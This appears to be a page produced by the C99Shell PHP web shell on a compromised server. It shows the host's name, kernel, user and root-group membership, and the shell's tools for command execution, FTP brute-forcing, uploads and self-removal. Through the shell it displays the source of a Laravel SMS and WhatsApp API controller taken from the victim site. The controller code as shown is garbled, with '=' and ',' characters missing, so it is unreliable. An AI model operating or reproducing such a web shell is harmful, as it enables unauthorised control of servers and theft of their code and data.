!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ComposeController.php (10.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\AuthorizationToken;
use 
App\Models\Contact;
use 
App\Models\CustomerNumber;
use 
App\Models\Report;
use 
Illuminate\Support\Facades\Validator;

use 
App\Models\Customer;
use 
App\Models\Number;
use 
App\Models\SenderId;
use 
App\Models\SentFail;
use 
App\Models\WhatsAppNumber;
use 
App\SmsProvider\SendSMS;
use 
App\WhatsAppProvider\SendMessageProcess;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;

class 
ComposeController extends Controller
{
    public function 
getSenderIds(Request $request){
        
$authorizationTokenAuthorizationToken::where('access_token'$request->api_key)->first();
        if(!
$authorizationToken){
            return 
response()->json(['response'=>'1003']);
        }
        
$user=Customer::where('id'$authorizationToken->customer_id)->first();
        if(!
$user){
            return 
response()->json(['response'=>'1001']);
        }

        
$senderIdsSenderId::where('customer_id'$user->id)->get();
        return 
response()->json(['status'=>'success''data'=>$senderIds]);
    }
    public function 
sentCompose(Request $request)
    {
        
$authorizationTokenAuthorizationToken::where('access_token'$request->api_key)->first();
        if(!
$authorizationToken){
            return 
response()->json(['response'=>'1003']);
        }
        
$customer=Customer::where('id'$authorizationToken->customer_id)->first();
        if(!
$customer){
            return 
response()->json(['message'=>'Invalid Customer']);
        }


        if (
$request->from_type == 'phone_number') {
            
$validator Validator::make($request->all(), [
                
'from_number' => 'required',
                
'body' => 'required',
            ]);
            if (
$validator->fails()) {
                return 
response()->json(['message' => $validator->errors()->messages()], 404);
            }
        } else if (
$request->from_type == 'sender_id') {
            
$validator Validator::make($request->all(), [
                
'sender_id' => 'required',
                
'body' => 'required',
            ]);
            if (
$validator->fails()) {
                return 
response()->json(['message' => $validator->errors()->messages()], 404);
            }
        }

        
$messageFiles = [];
        
$sendFailed = [];
        if (
$request->mms_files) {

            foreach (
$request->mms_files as $key => $file) {
                
$messageFiles[] = $fileName time() . $key '.' $file->extension();
                
$file->move(public_path('uploads/'), $fileName);
            }
            
$request['message_files'] = json_encode($messageFiles);
        }

        if (isset(
$request->isSchedule)) {
            
$sd Carbon::createFromTimeString($request->schedule);
            
$request['schedule_datetime'] = $sd;
        }
        
$allToNumbers = [];
        
$allGroupIds = [];
        
$allContactIds = [];

        
$toNumbers explode(','$request->to_numbers);
        foreach(
$toNumbers as $to_number){
            
$allToNumbers[]=$to_number;
        }
        if (
$request->from_type == 'phone_number') {
            
$customerNumberCustomerNumber::where('customer_id'$customer->id)->where('number'$request->from_number)->orWhere('number',"+".str_replace('+','',$request->from_number))->first();
            if(!
$customerNumber){
                return 
response()->json(['response' => '1005']);
            }
            
$number_form $request->from_number;
        } else if (
$request->from_type == 'sender_id') {
            
$sender_id SenderId::where('sender_id'$request->sender_id)->where('status''approved')->first();
            if(!
$sender_id){
                return 
response()->json(['response' => '1002']);
            }
            
$number_form $sender_id->sender_id;
        } else {
            
$whatsAppNumber $customer->whatsapp_numbers()->where('expire_date''>'now())->where('number'$request->whatsapp_from_number)->first();
            if (!
$whatsAppNumber) {
                return 
response()->json(['response' => '1010']);
            }
            
$number_form $whatsAppNumber->number;
        }

        
$allToNumbers array_unique($allToNumbers);


        
$request['to_numbers'] = $allToNumbers;
        
$request['numbers'] = json_encode(['from' => $number_form'to' => $allToNumbers]);
        
$request['type'] = 'sent';

        
$current_plan $customer->plan;
        if (!
$current_plan)
            return 
response()->json(['response' => '1017']);

        
$wallet $customer->wallet()->first();

        
// Count Message Body
        
$totalCount=1;
        
$requestCharacters=$request->body;
        
$characters=mb_strlen($requestCharacters"UTF-8");
        if (
strlen($requestCharacters) != strlen(utf8_decode($requestCharacters))) {
            if(
$characters && $characters 70){
                
$grandTotal=ceil($characters 70);
                if(
$grandTotal 1)
                    
$totalCount$grandTotal;
            }
        }else {
            if(
$characters && $characters 160){
                
$grandTotal=ceil($characters 160);
                if(
$grandTotal 1)
                    
$totalCount$grandTotal;
            }
        }


        
$totalToNumberscount($allToNumbers) * $totalCount;
        if (
$wallet->credit $totalToNumbers) {
            return 
redirect()->back()->with('fail''Doesn\'t have enough sms');
        }


        
//send sms here using API
        
if ($request->from_type == 'phone_number') {
            
$number Number::where('number'$number_form)->orWhere('number',"+".str_replace('+','',$number_form))->first();
        } else if (
$request->from_type == 'sender_id') {
            
$number SenderId::where('sender_id'$number_form)->first();
        } else if (
$request->from_type == 'whatsapp_number') {
            
$number WhatsAppNumber::where('number'$number_form)->orWhere('number',"+".str_replace('+','',$number_form))->first();
        }


        if (!
$number)
            return 
response()->json(['response' => '1013'], 1018);

        
$plain_sms=$current_plan->plain_sms;

        if (
$request->from_type == 'phone_number') {
            
$numb $number->number;
            
$fromType='number';
        } else if (
$request->from_type == 'sender_id') {
            
$numb $number->sender_id;
            
$fromType='sender_id';
        } else if (
$request->from_type == 'whatsapp_number') {
            
$numb $number->number;
            
$fromType='whatsapp';
        }


//        DB::beginTransaction();
        
try {
            
$gateway=$number->gateway;
            if (!
$gateway) {
                return 
response()->json(['response' => '1014']);
            }


            
$newMessage $customer->messages()->create($request->all());
            
$totalCredit=$totalToNumbers $plain_sms;


            
//SMS Credit Managment
            
$wallet->credit $wallet->credit $totalCredit;
            
$wallet->save();


            
$sms_queue = [];
            foreach (
$allToNumbers as $to) {
                
$newMessageFiles null;
                if (
$messageFiles) {
                    
$newMessageFiles $messageFiles;

                    
array_walk($newMessageFiles, function (&$value$index) {
                        
$value asset('uploads/' $value);
                    });
                }
                if(
$request->from_type=='whatsapp_number'){
                    
$to 'whatsapp:'.$to;
                }
                
$sms_queue[] = [
                    
'message_id' => $newMessage->id,
                    
'from' => $numb,
                    
'to' => $to,
                    
'from_type' => $fromType,
                    
'schedule_datetime' => $request->schedule_datetime?$request->schedule_datetime:now(),
                    
'body' => $request->body,
                    
'dynamic_gateway_id' => $gateway->id,
                    
'created_at' => now(),
                    
'updated_at' => now(),
                    
'type' => 'sent',
                    
'staff_id' => $customer->id,
                ];
            }
            
$customer->sms_queues()->createMany($sms_queue);
            
$customer->message_logs()->createMany($sms_queue);




            if (!isset(
$request->isSchedule)) {
                
$failedNumber collect($sendFailed)->pluck('to_number');
                
//        Send Mail
                
try {
                    
$contacts Contact::whereIn('number'$allToNumbers)->whereNotIn('number'$failedNumber)->get();
                    foreach (
$contacts as $contact) {
                        if (
$contact->email && $contact->email_notification == 'true') {
                            
SendMail::dispatch($contact->email'New Message'$request->body);
                        }
                    }

                } catch (
\Exception $ex) {
                    
Log::error($ex->getMessage());
                }
            }

            if (
$sendFailed) {
                
SentFail::insert($sendFailed);
                
$totalFailedMessages=count($sendFailed) * $totalCount;

                if (
$request->from_type == 'phone_number') {
                    
$wallet->non_masking_credit $wallet->non_masking_credit $totalFailedMessages;
                    
$wallet->save();
                } else if (
$request->from_type == 'sender_id') {
                    
$wallet->masking_credit $wallet->masking_credit $totalFailedMessages;
                    
$wallet->save();
                }

            }

//            DB::commit();
            
if (!$request->ajax()) {
                if (
$sendFailed)
                    return 
response()->json(['response'=> '1015']);
                else
                    return 
response()->json(['response'=> '1016']);
            } else {
                if (
$sendFailed)
                    return 
response()->json(['response' => '1015']);
                else
                    return 
response()->json(['response' => '1016']);
            }
        } catch (
\Exception $ex) {
            
Log::error($ex);
//            DB::rollBack();
            
return response()->json(['status' => 'failed''message' => $ex->getMessage()]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--